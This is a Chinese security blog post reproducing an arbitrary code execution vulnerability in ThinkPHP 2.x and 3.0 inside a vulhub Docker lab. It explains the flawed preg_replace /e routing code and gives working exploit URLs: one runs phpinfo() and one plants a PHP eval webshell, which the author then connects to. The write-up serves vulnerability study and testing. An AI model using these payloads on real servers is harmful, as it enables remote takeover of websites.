freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

ThinkPHP 2.x 任意代码执行漏洞复现
RainSong 2022-05-19 16:13:24 183547
所属地 江苏省

一、 准备工作

复现此漏洞需要安装docker,下载安装docker-compose,搭建vulhub靶场,保证攻击机与靶机之间的网络互通。

二、 漏洞介绍

漏洞产生的原因是因为ThinkPHP 2.x版本中,使用preg_replace ('正则规则','替换字符','目标字符')的/e(可执行模式)模式匹配路由:

$res=preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e','$var[\'\\1\']="\\2";',implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

三、 影响版本:

ThinkPHP 2.x

ThinkPHP 3.0

四、  复现过程

老样子,先cd到目录下启动环境

docker-compose up -d

1652947871_6285fb9fd5b623c14a74c.png!small?1652947875067

然后我们输入docker ps查看一下服务起到哪个端口

1652947881_6285fba940a59db6f2bb7.png!small?1652947884282

访问http://youIP:8080环境正常。

1652947890_6285fbb25418db9b6a0a2.png!small?1652947893450

使用poc验证漏洞:

http://youIP:8080/index.php?s=/index/index/xxx/${@phpinfo()}

1652947906_6285fbc23773cce42c8c9.png!small?1652947909406

phpinfo被成功执行,那么webshell自然也没问题:

http://youIP:8080/index.php?s=/index/index/xxx/${${@eval($_POST[111])}}

1652947925_6285fbd5e622309f257f7.png!small?1652947928983

连接php一句话:

1652947935_6285fbdf0e5c0369670b4.png!small?1652947938062

# 渗透测试 # web安全 # 复现 # 漏洞复现 # VulnHub
本文为 RainSong 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
RainSong LV.3
这家伙太懒了,还未填写个人描述!
  • 6 文章数
  • 2 关注者
ThinkPHP5系列远程代码执行漏洞复现getshell
2022-05-25
Apache Flink 文件上传漏洞 (CVE-2020-17518)
2022-05-19
Apache APISIX 默认密钥漏洞(CVE-2020-13945)漏洞复现
2022-05-16
文章目录